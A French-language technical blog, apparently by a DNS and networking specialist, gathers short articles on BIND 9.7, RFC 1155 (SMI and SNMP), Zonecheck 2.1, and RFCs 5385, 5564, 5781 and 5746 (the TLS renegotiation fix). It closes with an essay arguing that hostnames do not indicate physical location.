  • Configuration simplifié de DLV (RFC 5074) : en mettant dnssec-lookaside auto, BIND utilise automatiquement le registre DLV de l'ISC (la clé publique est livrée avec BIND). Tant que la chaîne DNSSEC n'est pas complète, de la racine jusqu'à example.com, DLV restera indispensable.
  • Amélioration de la configuration lorsque la zone est mise à jour par dynamic update (RFC 2136) mais ne m'en demandez pas plus, je n'ai pas encore testé.
  • Mesures contre les attaques par changement DNS.
  • La bibliothèque DNS est désormais indépendante de BIND (enfin !) et peut donc facilement être utilisée par des applications en C et elle inclut des améliorations pour DNSSEC comme un getaddrinfo() validant (nouveau code d'erreur non-standard EAI_INSECUREDATA). Cela se configure dans le nouveau et expérimental fichier de configuration /etc/dns.conf.
  • Nouveaux outils PKCS#11 (mais configurer BIND pour PKCS#11 reste toujours aussi difficile et dépend d'un OpenSSL patché).
  • Intégration de la famille SHA-2 suivant le RFC 5702.
  • Et beaucoup d'autres (voir la liste complète).

BIND 9.7 n'atteindra pas tous les systèmes immédiatement. Beaucoup d'administrateurs système (et à juste titre) n'utilisent pas de version ".0" en production et beaucoup d'autres n'utilisent que les paquetages fournis par leur système d'exploitation (et à juste titre). Notons toutefois que, pour DNSSEC, il y a de bonnes raisons d'accélerer la migration. Par exemple, la validation de la racine nécessitera BIND 9.7 (ou le 9.6, à partir de 9.6.2) car la racine utilise SHA-2.

Et, bien sûr, BIND n'est pas le seul logiciel libre sérieux pour faire un serveur DNS, je recommande également Unbound pour un serveur récursif et nsd pour un serveur faisant autorité.


L'article seul

RFC 1155: Structure and identification of management information for TCP/IP-based internets

Date de publication du RFC : Mai 1990
Auteur(s) du RFC : Marshall T. Rose (Performance Systems International, Inc.), Keith McCloghrie (Hughes LAN Systems, The Wollongong Group)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 18 février 2010


Ce RFC a été pendant longtemps la référence pour la description d'informations gérées sur un réseau. Le SMI est le cadre général, dans ce cadre on écrit des MIB, on les interroge avec SNMP (RFC 1157) et voilà la gestion de l'Internet. Aujourd'hui, la dernière norme sur le SMI est la version 2, décrite dans le RFC 2578 mais notre RFC 1155 est toujours en statut standard (numéro 16) et toujours d'actualité puisque toutes les MIB n'ont pas été mises à jour (c'est le cas de la MIB-II, la MIB de base, normalisée dans le RFC 1213, même si elle a connu des évolutions comme celle du RFC 2863).

Notre RFC décrit donc le SMI, le cadre de base de la description d'informations qu'on gère, typiquement avec SNMP (à l'époque où a été fait notre RFC, il était encore obligatoire de citer CMIP, le concurrent ISO qui n'a jamais connu de déploiement significatif). Il y a longtemps que la ligne officielle de l'IAB est que tout protocole Internet soit gérable, et aie donc une MIB, écrite selon les règles du SMI (section 1).

La section 2 donne les principes du SMI : séparation de la description des objets et du protocole d'accès (c'était nécessaire à l'époque, pour les raisons politiciennes qu'explique bien l'un des auteurs du RFC 1155, Marshall Rose, dans son livre The Simple Book), et utilisation d'un sous-ensemble de ASN.1 pour décrire les classes d'objets gérés.

Un autre principe important, est celui de la simplicité. Bien qu'on puisse se demander s'il est vraiment atteint, il faut se rappeler que les propositions concurrentes, à l'époque, étaient bien pires. Le RFC note avec modestie qu'on ne sait pas encore bien maitriser la gestion des réseaux et qu'il faut donc éviter de tout figer par des normes trop strictes (et, effectivement, en 2010, la question est toujours ouverte, comme le montre le RFC 5706). De même, le SMI se veut extensible, car tout ne peut pas être prévu à l'avance

Et, pour ceux qui s'intéressent à l'histoire, outre l'excellent livre de Rose déjà cité, il y a les RFC 1052 et RFC 1109.

Avec la section 3, on en arrive au concret : qu'est-ce qu'une MIB et qu'est-ce qu'on met dedans ? La MIB, écrite en ASN.1, rassemble des objets qui ont tous un nom, plus exactement un OBJECT IDENTIFIER (OID, section 3.1). Ce nom est une suite de chiffres, alloués hiérarchiquement (ce qui garantit l'unicité). Certains de ces chiffres ont aussi parfois une étiquette en lettres. Ainsi, le nœud 1 est étiquetté iso et géré par l'ISO. Tous les objets Internet sont sous le sous-arbre 1.3.6.1 (3 étant alloué par l'ISO à d'autres organisations et 6 étant le DoD qui financait le projet, 1 revenant à l'IAB). En ASN.1, cela se dit :

internet    OBJECT IDENTIFIER ::= { iso(1) org(3) dod(6) 1 }

et les objets officiels sont sous le sous-arbre 1.3.6.1.2. La MIB-II du RFC 1213 est ainsi 1.3.6.1.2.1. Pour prendre un exemple d'objet, ifOperStatus, l'état effectif d'une interface réseau (par exemple une carte Ethernet) est { ifEntry 8 }, c'est-à-dire 1.3.6.1.2.1.2.2.1.8 puisque ifEntry était 1.3.6.1.2.1.2.2.1 (il faut se rappeler qu'une MIB est arborescente). Chaque interface réseau recevra ensuite un OBJECT IDENTIFIER à elle, 1.3.6.1.2.1.2.2.1.8.1, 1.3.6.1.2.1.2.2.1.8.1, etc. Voici un exemple vu avec snmpwalk (-O n lui dit d'afficher les OID, pas les étiquettes), sur une machine qui a quatre interfaces réseaux dont deux fonctionnent :

% snmpwalk -v 1  -O n -c tressecret 192.0.2.68 1.3.6.1.2.1.2.2.1.8
.1.3.6.1.2.1.2.2.1.8.1 = INTEGER: up(1)
.1.3.6.1.2.1.2.2.1.8.2 = INTEGER: up(1)
.1.3.6.1.2.1.2.2.1.8.3 = INTEGER: down(2)
.1.3.6.1.2.1.2.2.1.8.4 = INTEGER: down(2)

Sans -O n, on aurait eu :

% snmpwalk -v 1   -c tressecret 192.0.2.68 1.3.6.1.2.1.2.2.1.8
IF-MIB::ifOperStatus.1 = INTEGER: up(1)
IF-MIB::ifOperStatus.2 = INTEGER: up(1)
IF-MIB::ifOperStatus.3 = INTEGER: down(2)
IF-MIB::ifOperStatus.4 = INTEGER: down(2)

Si 1.3.6.1.2 désigne les objets « officiels », 1.3.6.1.3 (section 3.1.3 du RFC) est pour les expérimentations et 1.3.6.1.4 pour les objets privés et 1.3.6.1.4.1 pour les objets spécifiques à une entreprise (section 3.1.4 du RFC). Par exemple, si Netaktiv a obtenu le numéro 9319, ses objets seront sous 1.3.6.1.4.1.9319.

L'objet a aussi une syntaxe (section 3., par exemple INTEGER, OCTET STRING, OBJECT IDENTIFIER ou NULL. C'est un sous-ensemble d'ASN.1 qui est utilisé pour bâtir des définitions à partir de ces types primitifs, en les organisant en séquences ou en tables (section 3.2.2). Par exemple, l'état d'une interface réseau, ifOperStatus, déjà cité, est défini par le RFC 1213 comme INTEGER. Voici la définition complète :

          ifOperStatus OBJECT-TYPE
              SYNTAX  INTEGER {
                          up(1),       -- ready to pass packets
                          down(2),
                          testing(3)   -- in some test mode
                      }
              ACCESS  read-only
              STATUS  mandatory
              DESCRIPTION
                      "The current operational state of the interface.
                      The testing(3) state indicates that no operational
                      packets can be passed."
              ::= { ifEntry 8 }

Notre RFC définit aussi des types à partir de ces types primitifs, types qui pourront être utilisés par toutes les MIB. C'est le cas de :

  • IpAddress (section 3.2.3.2), une OCTET STRING de quatre octets (IPv6 n'était pas encore inventé),
  • Counter (section 3.2.3.3), un entier positif sur 32 bits, croissant de manière monotone modulu sa valeur maximale. Si 32 bits semblaient à l'époque permettre des valeurs énormes, c'est aujourd'hui bien trop petit. Pour une interface Ethernet 10G, le Counter ifInOctets peut atteindre sa valeur maximale en seulement trois secondes !
  • Gauge (section 3.2.3.4) qui, contrairement à Counter, peut monter et descendre.

Un objet a enfin un encodage sur le câble (section 3.3) car ASN.1 ne spécifie pas comment les objets doivent être sérialisés en bits. Le SMI utilise BER.

La section 4 donne les informations qui doivent être indiquées lors de la définition d'une classe d'objets (comme ifOperStatus plus haut) : OID, bien sûr mais aussi accès (lecture seule ou bien aussi écriture), description en langage naturel, etc (la syntaxe formelle est en section 4.3). Cette section est mieux résumée par un exemple, ici tirée d'une expérience avortée, le RFC 1414 :

         identOpSys OBJECT-TYPE
                  SYNTAX  OCTET STRING (SIZE(0..40))
                  ACCESS  read-only
                  STATUS  mandatory
                  DESCRIPTION
                      "Indicates the type of operating system in use.
                      In addition to identifying an operating system,
                      each assignment made for this purpose also
                      (implicitly) identifies the textual format and
                      maximum size of the corresponding identUserid and
                      identMisc objects.

                      The legal values for the `indentOpSys' strings
                      are those listed in the SYSTEM NAMES section of
                      the most recent edition of the ASSIGNED NUMBERS
                      RFC [8]."
                  ::= { identEntry 2 }

Toutes les définitions de ce RFC, en ASN.1, sont rassemblées dans la section 6.

Tiens, Google m'a retrouvé le premier programme significatif que j'avais fait avec SNMP, en 1993 : http://www.cpan.org/scripts/netstuff/addresses.on.the.LAN.info. Ne me demandez pas les sources, ils semblent avoir été perdus.


Téléchargez le RFC 1155


L'article seul

Nouvelle version de Zonecheck, la 2.1

Première rédaction de cet article le 17 février 2010


Le 12 février, une nouvelle version de Zonecheck a été publiée.

Écrit en Ruby, Zonecheck est un logiciel de test de la configuration d'une zone DNS, pour voir si elle est correctement installée sur les serveurs de noms. Cette vérification nécessiterait à la main des dizaines d'appels à la commande dig, pour s'assurer que tout est correct. Zonecheck automatise le tout. D'une manière générale, tester doit être fait avec un logiciel car c'est une opération longue et fastidieuse, qu'un humain a peu de chances de mener jusqu'au bout correctement.

Ainsi, je peux voir si mes serveurs de noms sont tous bons :


% zonecheck bortzmeyer.org
ZONE  : bortzmeyer.org.
NS <= : a.dns.gandi.net. [217.70.179.40]
NS    : c.dns.gandi.net. [217.70.182.20]
NS    : b.dns.gandi.net. [217.70.184.40]

       _____________________
     ,---------------------.|
~~~~ |    avertissement    || ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     `---------------------'
a> Les serveurs de nom font tous partie du même AS
 | Conseil: ZoneCheck
 |   Afin d'éviter de perdre la connectivité avec les serveurs DNS
 | autoritaires en cas de problèmes de routage dans le Système Autonome,
 | il est conseillé d'héberger les serveurs sur différents AS.
 `----- -- -- - -  -
 :   Tous les serveurs de noms font partie du même Système Autonome (AS
 : numéro 29169), essayez d'en héberger certains sur un autre.
 `..... .. .. . .  .
=> générique

...
==> SUCCÈS (mais 5 avertissement(s))

D'autres zones ne sont pas aussi correctes :


% zonecheck  zataz.com      
ZONE  : zataz.com.
NS <= : ns1.eurodns.com. [80.92.65.2]
NS    : ns2.eurodns.com. [80.92.67.140]
...
       _____________
     ,-------------.|
~~~~ |    fatal    || ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     `-------------'
f> [TEST enregistrement MX peut être résolu]: le domaine n'existe pas (IN/ANY: mailing.zataz.com.)
=> ns1.eurodns.com./80.92.65.2

==> ÉCHEC (et 1 avertissement(s))

Et, en effet, le serveur de courrier désigné n'existe pas :


% dig @ns1.eurodns.com MX zataz.com   
...
;; ANSWER SECTION:
zataz.com.              3600    IN      MX      10 mail.zataz.com.
zataz.com.              3600    IN      MX      20 mailing.zataz.com.
...

% dig @ns1.eurodns.com A mailing.zataz.com 
...
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 49758

À noter que Zonecheck sépare la politique (quels tests on fait et un résultat positif est-il obligatoire) du moteur de tests qui les applique. L'administrateur système peut éditer le profil des tests et retirer (ou rendre facultatif) certains tests, à volonté. Par exemple, pard éfaut, Zonecheck teste que les adresses IP des serveurs de noms ne sont pas des bogons mais, s'ils le sont, cela ne produit qu'un simple avertissement :


      <check name="ip_bogon"   severity="w" category="ip"/>

Si on trouve ce test trop laxiste, il suffit de changer severity de 'w' (warning) à 'f' (fatal). Si, à l'inverse, on trouve ce test inutile ou tout simplement trop coûteux en ressources, on peut le désactiver complètement en retirant l'élément <check> du profil. C'est une caractéristique unique parmi les logiciels de tests DNS.

Zonecheck est un logiciel libre sous licence GPL. Comme d'autres logiciels libres, son histoire a connu des moments de désintérêt (voir le long délai qui s'était écoulé depuis la version précédente) et de « résurrection ». Merci à Fabien Chabanne pour avoir pris en charge cette nouvelle version, et à Stéphane d'Alu pour le programme original.


L'article seul

RFC 5385: Version 2.0 Microsoft Word Template for Creating Internet Drafts and RFCs

Date de publication du RFC : Février 2010
Auteur(s) du RFC : J. Touch (USC/ISI)
Pour information
Première rédaction de cet article le 13 février 2010


La publication d'un RFC se fait uniquement sous forme de texte brut, encodé en ASCII. Il y a d'excellentes raisons pour cela, notamment la nécessité de ne s'appuyer que sur des formats ouverts et également l'importance de la pérénnité des spécifications (si le RFC 791 sur IP avait été écrit avec la version de Microsoft Word de l'époque, il serait complètement illisible aujourd'hui). Mais ce choix du RFC editor ne concerne que la publication. Les auteurs sont libres des outils qu'ils utilisent pour produire cette version en texte. La plupart, en bons techniciens, utilisent le format XML du RFC 7749 mais quelqu'uns sont attachés aux obésiciels de Microsoft et c'est pour eux qu'est écrit ce document. (Les durs de durs, eux, utilisent encore le traditionnel système nroff.)

Ce RFC 5385 décrit en effet un gabarit MS Word pour écrire des RFC. Ce gabarit au format .dot permet de fixer les principaux paramètres qui feront que le document sera accepté par le RFC Editor. Le gabarit est disponible en http://www.isi.edu/touch/tools.

La section 1 justifie le choix de Word en insistant sur l'édition en mode WYSIWYG mais aussi sur les capacités de Word d'afficher uniquement le squelette du document, cachant ou affichant au choix le contenu des paragraphes. La section 2 donne le mode d'emploi du gabarit et les bonnes pratiques d'édition en utilisant celui-ci (par exemple, utiliser uniquement les styles et pas les possibilités de changer directement l'apparence du texte ; un très bon conseil de toute façon, pour tout document complexe). Le gabarit utilise, outre les styles standard comme Normal quelques styles spécifiques aux RFC comme RFC Title. En 2.4 se trouvent les instructions pour générer le résultat, en passant par l'imprimante virtuelle « Texte seul » de Windows (bien que Word tourne sur d'autres systèmes que Windows, ce n'est pas le cas de la méthode décrite dans le RFC : si on vend son âme à Bill Gates, il faut le faire jusqu'au bout et utiliser uniquement Windows). Le résultat est ensuite traité par un programme Perl, fourni en annexe B, et qui assure les tâches que Word ne sait pas faire comme de remplacer les guillemets dits « typographiques » comme U+201C, et U+201D, , par leur équivalent ASCII, U+0022, ".

Le RFC 5385 est d'ailleurs une lecture intéressante, au delà de la tâche pratique de l'écriture de RFC, car il a vraiment fallu insister pour obtenir de Word le résultat parfait. Une bonne partie des possibilités techniques de ce logiciel ont été utilisées (voir le détail dans l'annexe A).

Il s'agit d'une mise à jour du premier gabarit, qui avait été publié dans le RFC 3285. Les changements sont assez profonds et sont détaillés dans la section 3. Le principal (section 3.1) est qu'au lieu de créer des styles spécifiques pour tout, le gabarit désormais utilise, dans la mesure du possible, les styles standards comme Normal ou Heading1. C'est la pratique que suivent d'autres organisations qui créent des gabarits pour leurs auteurs, comme l'IEEE ou bien l'ACM. Un autre changement est la possibilité d'utiliser désormais des références bibliographiques par mnémonique et plus seulement par numéro (section 3.2).

Le gabarit semble fonctionner avec OpenOffice 2.4 mais, sans les capacités d'impression virtuelle, cela ne sert pas à grand'chose. Ce RFC est donc bien pour les admirateurs de Bill Gates seulement.


Téléchargez le RFC 5385


L'article seul

RFC 5564: Linguistic Guidelines for the Use of Arabic Characters in Internet Domains

Date de publication du RFC : Février 2010
Auteur(s) du RFC : A. El-Sherbiny (UN-ESCWA), I. Oueichek (Syrian Telecom Establishment), A. Al-Zoman (SaudiNIC, CITC)
Pour information
Première rédaction de cet article le 13 février 2010
Dernière mise à jour le 18 juin 2010


La norme IDN, décrite dans les RFC 5890 et suivants, permet d'écrire des noms de domaine en Unicode, c'est-à-dire avec toutes les écritures du monde. Unicode est très riche et comprend une variété de caractères qui peut être jugée excessive dans certains cas d'utilisation. Voilà pourquoi, dans le cas d'IDN, il est parfois préférable de réduire le jeu de caractères utilisable, de le limiter à certains caractères. C'est ce que ce RFC fait pour l'écriture arabe.

Cette écriture a la particularité de s'écrire de droite à gauche. Cela signifie qu'un nom de domaine partiellement en Unicode (avec, par exemple, le TLD .com à droite) n'a pas grand sens et cela explique en partie le peu de déploiement des IDN en écriture arabe jusqu'à présent, puisque l'ICANN bloque toujours leur déploiement dans la racine du DNS. Mais il y a aussi d'autres raisons, comme un certain conservatisme dans les registres nationaux des pays arabes.

L'écriture arabe est utilisée par bien d'autres langues que l'arabe, par exemple en Iran pour le persan et au Pakistan pour l'ourdou. Les registres non-arabophones sont d'ailleurs parfois les plus dynamiques comme l'a montré celui du .ir, premier à enregistrer des noms de domaines en écriture arabe. Malheureusement, le RFC se focalise exclusivement sur la langue arabe.

Maintenant, pour un registre qui veut permettre cet enregistrement, faut-il autoriser tous les caractères « arabes » d'Unicode ? Il y en a beaucoup et certains peuvent ne pas correspondre à un réel usage. Leur présence dans la liste pourrait donc dérouter. Il est sans doute souhaitable que les registres des pays utilisant l'écriture arabe se mettent d'accord sur une liste de caractères utiles, et c'est le but de ce RFC.

La section 1 décrit le cadre général de ce document. Il a été écrit par l'AWG-ADN (Arabic Working Group on Arabic Domain Names), une émanation de la Ligue arabe. C'est dire si son origine est très « gouvernementale » et reflète souvent les points de vue de gouvernements autoritaires, voire dictatoriaux, facilement effrayés par la nouveauté. Ainsi, l'idée de « bannir » des caractères « non officiels » de la liste correspond bien à la mentalité de contrôle et de restriction de beaucoup de gouvernements arabes.

Les sections 2.1 et 2.3 du RFC listent les particularités de l'arabe en ce qui concerne les IDN et les conséquences à en tirer. Par exemple (section 2.1.1), les « accents » comme ّ (U+0651, le Chadda) sont rejetés pour les noms de domaine en écriture arabe. Autre cas (section 2.1.3), des caractères différentes peuvent parfois être confondus par certains programmes. C'est le cas, par exemple le ة (U+0629, le Té' Marbouta), souvent remplacé par le ه (U+0647, le ). Une telle confusion ne respecte pas les règles de la langue (le RFC parle même, avec emphase, de violation de l'éthique) et doit donc être évitée.

La section 2.3.1 couvre le difficile problème des chiffres. Il existe deux séries de chiffres en arabe, les chiffres que les francophones appellent « arabes », bien qu'ils soient d'origine indienne (0, 1, 2, 3, ..., U+0030 à U+0039) et les chiffres indiens d'origine (٠, ١, ٢ ..., U+0660 à U+0669). Les premiers sont plutôt utilisés au Maghreb, les seconds au Moyen-Orient. Si les premières versions de ce document n'autorisaient que le premier jeu, celui compatible avec ASCII, le RFC accepte finalement les deux séries, prohibant uniquement leur mélange dans un même nom de domaine.

Compte-tenu de ces points, une liste de caractères autorisés est définie, en section 2.2. Elle comprend 60 caractères en tout. Voici un exemple de code Python pour tester (les chiffres indiens d'origine ont été exclus). Pour tester un composant d'un nom de domaine, il faut appeler check(lenom) :

def and_couple(l, r):
    return l and r

def and_tuple(t):
    return reduce(and_couple, t, True)

def check_ch(c):
    # Les chiffres indo-arabes, de U+0660 à U+0669, sont exclus
    return c in [unichr(0x0621), unichr(0x0622),unichr(0x0623),unichr(0x0624),unichr(0x0625),
                 unichr(0x0626),unichr(0x0627),unichr(0x0628),unichr(0x0629),unichr(0x062A),
                 unichr(0x062B),unichr(0x062C),unichr(0x062D),unichr(0x062E),unichr(0x062F),
                 unichr(0x0630),unichr(0x0631),unichr(0x0632),unichr(0x0633),unichr(0x0634),
                 unichr(0x0635),unichr(0x0636),unichr(0x0637),unichr(0x0638),unichr(0x0639),
                 unichr(0x063A),unichr(0x0641),unichr(0x0642),unichr(0x0643),unichr(0x0644),
                 unichr(0x0645),unichr(0x0646),unichr(0x0647),unichr(0x0648),unichr(0x0649),
                 unichr(0x064A),
                 '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
    
def check(name):
    return and_tuple(map(check_ch, name))

Téléchargez le RFC 5564


L'article seul

RFC 5781: The rsync URI Scheme

Date de publication du RFC : Février 2010
Auteur(s) du RFC : S. Weiler (Sparta), D. Ward (Cisco Systems), R. Housley (Vigil Security)
Pour information
Première rédaction de cet article le 13 février 2010


Les URI, définis par le RFC 3986, sont des identificateurs qui commencent par le nom d'un plan (scheme). Celui-ci identifie parfois (mais pas toujours) le protocole de communication utilisé. Notre RFC enregistre le plan rsync pour l'application du même nom. Des URI comme rsync://rsync.samba.org/rsyncftp/ seront désormais légaux.

En effet, un URI standard doit avoir un plan enregistré dans le registre IANA, selon les procédures du RFC 4395. Bien que les URI de plan rsync soient très courants, ce plan n'avait jamais été formellement enregistré. La section 2 de notre RFC remédie à ce manque en fournissant le formulaire d'enregistrement. La syntaxe des URI rsync est donc :

rsync://[user@]host[:port]/source

par exemple, rsync://rsync.samba.org/rsyncftp/. Le port par défaut est 873. Contrairement à beaucoup d'autres plans, notamment http, il n'existe qu'une seule application qui utilise ce plan.


Téléchargez le RFC 5781


L'article seul

RFC 5746: Transport Layer Security (TLS) Renegotiation Indication Extension

Date de publication du RFC : Février 2010
Auteur(s) du RFC : E. Rescorla (RTFM), M. Ray, S. Dispensa (Phone Factor), N. Oskov (Microsoft)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tls
Première rédaction de cet article le 13 février 2010


Les failles de sécurité font partie du folklore de l'Internet mais la plupart touchent une mise en œuvre particulière, qu'il suffit de corriger par un patch. La faille de renégociation de TLS, révélée en novembre 2009 était au contraire une faille d'un protocole. Il fallait donc modifier celui-ci pour la corriger, ce que vient de faire notre RFC (dont l'un des auteurs, Marsh Ray, est le découvreur de la faille). Ce RFC a été écrit et publié de manière particulièrement rapide, compte-tenu de l'urgence de combler cette faille. (Cette rapidité, inhabituelle à l'IETF, a d'ailleurs suscité des critiques.)

Un petit rappel : le protocole de sécurité TLS, normalisé dans le RFC 5246, contient une phase de négociation pendant laquelle les deux systèmes peuvent décider de choses comme les algorithmes de cryptographie à utiliser. Ils peuvent aussi présenter un certificat X.509 pour s'authentifier. Un point important de TLS est que la négociation ne survient pas uniquement au début de la session. À tout moment, chacune des deux parties peut renégocier (commande R si on utilise openssl s_client). Mais, et c'est le cœur de la faille, il n'existe pas de liaison (binding) entre l'état de la session avant renégociation et après. Un attaquant peut donc commencer une session avec un serveur, envoyer des données, lancer une renégociation, puis laisser la place au vrai client qui va s'authentifier. (Ce problème, et l'attaque qu'il rend possible, sont détaillés dans la section 1 du RFC.) Avec des protocoles utilisant TLS, comme HTTP qui ne fait pas la différence entre avant et après la renégociation, les données envoyées par l'attaquant seront considérées comme authentifiées par le vrai client... Même avec des protocoles comme SMTP et IMAP, où la transition entre état authenfifié et non authentifié est davantage marquée, certaines attaques restaient possibles. Bref, l'absence de toute liaison cryptographique fiable entre l'« ancienne » session et la « nouvelle » fait que le serveur et le client n'avaient aucun moyen de détecter l'attaque.

Qu'est-ce qu'une liaison, à ce sujet ? C'est une preuve cryptographique que deux éléments sont liés, qu'une attaque contre l'un invaliderait l 'autre. C'est un composant essentiel de tout protocole de cryptographie, dont l'oubli ou les défaillances sont à l'origine de plusieurs failles de sécurité. Un exemple de liaison est celle que fait SSH avec le MAC qui est calculé pour les paquets (RFC 4253, section 6.4). Sans ce MAC, l'authentification effectuée au début d'une connexion SSH ne servirait pas à grand'chose puisqu'il n'y aurait pas de liaison entre cette authentification et les paquets : un méchant pourrait laisser l'authentification se faire, puis injecter ses propres paquets. (Sur la question de la liaison cryptographique, on peut lire le RFC 5056 pour plus de détails.)

Bref, TLS manquait d'une liaison entre la session avant et après renégociation. Comment résoudre cette faille ? Le plus simple était de supprimer complètement la renégociation dans la serveur, et c'est ce qu'a fait OpenSSL en urgence. Mais cela ne résout pas le problème des utilisateurs qui ont besoin de la rénégociation (par exemple pour l'authentification X.509 sur HTTP, si on ne veut pas avoir deux machines, une pour les sessions authentifiées et une pour les autres).

Notre RFC 5746 crée donc une autre solution, qui va nécessiter la mise à jour des mises en œuvre de TLS. Son principe est d'avoir une extension TLS renegotiation_info qui lie cryptographiquement l'ancienne session (avant la rénégociation) et la nouvelle. Elle est décrite plus en détail en section 3. Elle nécessite que chaque pair TLS garde quelques informations supplémentaires :

  • Un booléen secure_renegotiation qui indique si la nouvelle option est utilisable sur cette connexion TLS,
  • Une valeur client_verify_data qui indiquait les données de vérification envoyées par le client à la dernière négociation (et que le client doit donc connaître, pour authentifier la renégociation),
  • Une valeur server_verify_data, l'équivalent pour le serveur.

L'extension elle-même figure en section 3.2. renegotiation_info est définie comme :

      struct {
          opaque renegotiated_connection<0..255>;
      } RenegotiationInfo;

où la valeur renegotiated_connection vaut zéro au début puis, en cas de renégociation, vaut *_verify_data.

Le changement à TLS est donc trivial. Mais il y a quelques détails pénibles. Par exemple, la section 3.3 fait remarquer que, bien qu'une extension inconnue doive être ignorée, certaines mises en œuvre de TLS avortent la connexion dans ce cas. Face à un TLS récent qui tente de leur envoyer une renegotiation_info,il y aura donc un problème. Une astuce a donc été créé : comme TLS permet d'indiquer les algorithmes de chiffrement acceptés, un algorithme bidon a été normalisé, TLS_RENEGO_PROTECTION_REQUEST. L'envoyer dans la liste des algorithmes ne plantera personne (les algorithmes inconnus sont légion et ne perturbent aucune implémentation) et permettra d'indiquer qu'on gère la nouvelle extension. (Oui, c'est un bricolage mais, dans le monde réel, on doit souvent utiliser de tels bricolages pour assurer un déploiement réussi, malgré la présence de logiciels bogués.)

Après ce petit détour sur la compatibilité, le RFC décrit en détail le comportement que doivent adopter clients et serveurs, aussi bien pour la connexion initiale (sections 3.4 et 3.6) que pour une éventuelle renégotiation (sections 3.5 et 3.7). Le client doit envoyer une extension renegotiation_info vide au début, pour indiquer sa volonté de protéger la rénégotiation (ou bien utiliser le truc de l'algorithme de chiffrement bidon). Si cette extension n'est pas dans la réponse, cela peut signifier que le serveur utilise un ancien logiciel, antérieur à notre RFC, ou bien qu'une attaque de l'homme du milieu est en cours. Le client doit donc décider s'il continue en notant juste que secure_renegotiation est faux, ou bien il doit être exigeant et couper la session (après tout, autrement, la nouvelle extension de sécurisation de la renégociation pourrait être rendue inutile par des attaques par repli). Mais la décision est difficile car, au début tout au moins, les clients TLS nouveaux n'auront guère de serveurs « sécurisés » à qui parler. La section 4.1 décrit plus en détail ce problème cornélien.

La situation est plus simple pour le serveur qui peut toujours, s'il rencontre un vieux client, refuser une éventuelle renégociation. La méthode recommandée en section 4.3 (et 4.4 et 5) est donc de n'accepter de renégociation qu'avec un client compatible avec ce RFC 5746.

La renégociation, même sécurisée par une liaison cryptographique avec l'état antérieur de la session, soulève d'amusants problèmes de sécurité, que traite la section 5. Ainsi, beaucoup de logiciels croient qu'en appelant getPeerCertificates(), ils obtiennent une liste de certificats immuable, qui est valide tout le temps de la session. Mais ce n'est pas le cas s'il y a renégociation.

Notre RFC recommande donc aux bibliothèques TLS de fournir un moyen d'autoriser ou d'interdire la renégociation (ce n'était pas le cas d'OpenSSL avant la découverte de la faille de sécurité.) Il y a d'autres recommandations comme celle d'offrir une possibilité de permettre la rénégociation mais sans changement des certificats (d'autant plus que, avec la plupart des bibliothèques existantes, il n'existe aucun moyen de savoir quelles données ont été transmises avant et après la renégociation).

Aujourd'hui, parmi les deux mises en œuvre de TLS en logiciel libre, OpenSSL a intégré le code pour notre RFC 5746 dans sa version 0.9.8m alors que GnuTLS l'a en développement (l'essentiel du code est dans lib/ext_safe_renegotiation.c et est écrit par un des auteurs du RFC).


Téléchargez le RFC 5746


L'article seul

Un nom de machine sur Internet exprime t-il la localisation physique ?

Première rédaction de cet article le 12 février 2010


On lit ou on entend souvent que le nom de machine, sur l'Internet, indique une localisation physique. (Je viens, par exemple, de le lire sous la plume de Walid Dabbous dans le dossier « L'ère d'Internet » de Pour la Science.) Quelle est la part de vérité dans cette affirmation ?

De tels noms se trouvent à beaucoup d'endroits, notamment dans les URL comme http://www.bortzmeyer.org/hostname-physical-location.html. En les analysant comme le précise les RFC 2616, section 3.2.2, et RFC 3986, également section 3.2.2, on y voit un host, comme dit le RFC, qui est www.bortzmeyer.org.

D'abord, commençons par le plus facile. Est-ce que le nom de machine (ou d'ailleurs l'adresse IP) indique une localistaion réellement physique, dans l'espace, avec longitude, latitude et tout ça ? (Dans son article, Dabbous utilise tout le temps cet adjectif de « physique » sans jamais le définir.) Évidemment non. Je peux déplacer une machine de plusieurs kilomètres sans la changer d'adresse IP (a fortiori de nom, puisque ceux-ci sont plus stables que les adresses). Dans certains cas, je peux même la déplacer sur des distances bien plus grandes sans changement de son identificateur.

Mais, si je change d'opérateur réseau ? Là, c'est différent. Traditionnellement, l'adresse IP indique un point d'attachement au réseau et donc une position, non pas dans l'espace physique, mais dans la topologie du réseau. Changer de fournisseur d'accès veut donc dire, dans la plupart des cas, changer d'adresse IP. Mais le nom de la machine, lui ? Eh bien, il n'a pas du tout à changer. C'est justement le but principal des noms : ils sont stables.

Il est donc tout à fait faux de prétendre que les noms de machines expriment une localisation physique et qu'ils ne sont pas stables.

Un très bon exemple est donné par ce blog. Dans son URL, http://www.bortzmeyer.org/, on trouve un « nom de machine », www.bortzmeyer.org. Derrière ce nom se trouvent deux machines, situées chez des hébergeurs différents, et même sur des continents différents ! (Situation en février 2010.) Difficile donc de continuer à soutenir que le nom de machine aie un quelconque rapport avec la localisation physique. Et, si c'est le cas pour un simple blog personnel, on imagine ce que ça peut être pour des gros sites. Dans http://fr.wikipedia.org/wiki/Catégorie:Identifiant, le nom fr.wikipedia.org est porté par un bien plus grand nombre de machines.

On comprend mieux cette insistance de certains comme quoi le nom de machine refléterait la localisation physique, lorsqu'on voit les intentions derrière. Il s'agit en général de promouvoir un autre système, supposé « plus stable » ou « plus abstrait ». C'est le cas de l'article de Dabbous où il vante sa propre méthode de nommage. En moins académique, c'est aussi le cas de nombreux vendeurs de vent comme l'IDF qui essaie de convaincre les gogos de payer pour leurs identificateurs, prétendûment plus stables. Outre l'argument technique incorrect (comme on l'a vu, les noms de machines ne dépendent pas de l'emplacement physique), leurs arguments oublient que la stabilité d'un identificateur sur le long terme dépend de pratiques sociales (une organisation stable dans le temps, avec des procédures sérieuses) et pas d'une technique particulière. (Merci à Emmanuelle Bermès pour ses explications sur ce point et pour son blog.)

